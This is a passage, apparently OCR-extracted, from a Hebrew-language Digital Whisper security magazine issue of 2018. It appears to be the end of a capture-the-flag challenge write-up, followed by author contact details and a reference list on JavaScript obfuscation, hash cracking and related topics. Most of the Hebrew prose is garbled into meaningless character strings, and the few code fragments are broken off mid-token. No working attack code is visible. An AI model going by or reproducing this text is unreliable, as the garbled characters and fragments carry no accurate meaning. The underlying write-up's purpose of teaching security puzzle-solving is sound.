password = dispatch(current[2 ) Breakpoints
SDRWUH1(

DOM Breakpoints
v TN N1'WO K77 D'09PON YNINT IN'RN VINYT FTD 1NXVA 071N ¥ NIDNNNY DR 1NN
D7YNN7 N01 AW 72X ,Baseb4-1 NNO'ON NIX [XKD O'RIN NNIX LD (N9 ,2 1o0n 7NV) index.html

JJNNXNI WUN NANKN '-']IO'? URL-n N121 ' "2 NTh 2Axnnn

:Baseb4 TIT'7 712720 7y nyxani (7nnn vo9Mpon 7apnnv) sid-n DX 72727 nTYVRY NYIe

A X0 - 2018 TOoMN 7w o1I'an Nanx |NNoS
www.DigitalWhisper.co.il
84 2018 'xn ,94 12



https://www.digitalwhisper.co.il/files/Zines/0x38/DW56-1-JSObfuscation.pdf
https://www.youtube.com/watch?v=IvPtIr8USS4&index=4&list=PLdENywyhq4SdSO8SUPJ74payXAurzvkn8

Technologic

; i++) t += String.fro

llnro ....1

Success!

Well Done!

You have successfully finished all the challenges!

This is your final success token:

B e e e e e i
e A I e e e i S S S

please send your token and contact info to the following

A pleasure as always! Until next time...

© "I N1'Y ,NUNY 07K 12D DM NI7IYe'? TN 72131 0anIT X7 12 nNIX Nw)
nin'o

WATE TINND (120 D' ANKD (700 Dy 0Nank 2) 19701 vy X7 amin win g 7omnn nNanv v
,(N'0'0a NnM1) Reverse Engineering ,Web Application Security :Jia> .D'aiNN NNdI Nnd1 YT
NN INY '9D NINSY7 INRNN DX DNINIY DIPN IR TIVE DMWY NNDN L,n7u90 Nidwn

DANKD DX INSY

NN 7Y Nxp

NTH M1 ,(ANK7? NIYRIN NIYY 24-1 TIY 10173) 2192 'Ynn 01 1IM9S7 'Mn''o ToImn NANK N
M0IN DTX "IXY XD DI'N 27 DONID MANKNY AT?7 AT'N'N 120N .0'K7N 10N MI7'Y 7 1N 11D

.'MXY DI01Y |1AWN 7V Tomn 7w DrorI'an NX oNNY 'M'¥1 X7 Nl

NIPN IR N0 1197 MANKN NNINND NX D'N0N9NY D'WIX / NNAN DIY' [TV NI7a7 'MNdin
NIX 027 TOINT7 NWON'I DN7MD0N 72 NANKN DX 117 N'RY' DINKI 1770 D'WIRD NIKAN DIYAY

AN X7 DTY 2WIN IR L(DIYRIN 17 ANKD DR MDY 170 K7W 07X D2) NANKRN NIX IN7XYY N7X

A X0 - 2018 TOoMN 7w o1I'an Nanx |NNoS
www.DigitalWhisper.co.il
85 2018 'xn ,94 |I"12




Technologic

NI7Y? NNYWOKRN 0N7 N1201 NNINNSN DIOND 17Y) TOIMN NNIYY 0"ANNY I D'WIND '97D DA
N2'0 DIV 'R .NIFZ7 7¢ NITIO IX NINIT DON9) X7 NNIKY 10D ,n"j71 N7 n'7npn 72v Nnw .(N"Ip

M0 197 CTF nirnnn 7w NNNo IX (10 {1 at) nirT 197 0day Do1oY

NnITIN
ZI'T NPTl 122 NITYA 2V ,NIINNKD D"NIWA TOINN MANK 7V INNNN NN MR 2NDw d4d-7

LNOIN MNKNA D'MNIiNN

NYUPL NN X7 2016 MIWAY qliun 0T .TOIMN NANK 7V MXNN DX QMDY 1WAy D'wWIRn ‘D7

Miwpa 12 ' mwnl Niypa 2 10 2017 nawa ,NNN

Mo7nn DigitalWhisper-2 nn7w Write Up-n NX D097 DN DA I DMAN DY '7¢ NN NKRY

.NN2 7277 NiMTTA DINKRY? NNY T WXRIN Write Up-n NIX 2IMD7 NWRA WK K7 NRAN MvaY

Mannn 'y

.Open Source aniI F5 Networks N1ana vy NNVAK J7In :(RealGame) N'T N o

http://www.RealGame.co.il :01NVI'RINX  ©

realgam3@gmail.com :7'm'X o

https://github.com/realgam3 :GitHub o

XY D"iv'yp
e  https://he.wikipedia.org/wiki/Brainfuck

e  https://www.youtube.com/watch?v=D1S-G8rJrEk

e  https://hashkiller.co.uk/

e http://md5decrypt.net/en/Sha512/

e https://www.datacamp.com/community/tutorials/python-dictionary-comprehension

e https://www.digitalwhisper.co.il/files/Zines/0x28/DigitalWhisper40.pdf

e  http://www.ifm.net.nz/cookbooks/passwordcracker.html

e  https://en.wikipedia.org/wiki/BusyBox

e  https://thumbsviewer.github.io/

e https://en.wikipedia.org/wiki/JPEG File Interchange Format

e https://www.digitalwhisper.co.il/files/Zines/0x38/DW56-1-JSObfuscation.pdf

e  https://www.youtube.com/watch?v=IvPtIr8USS4
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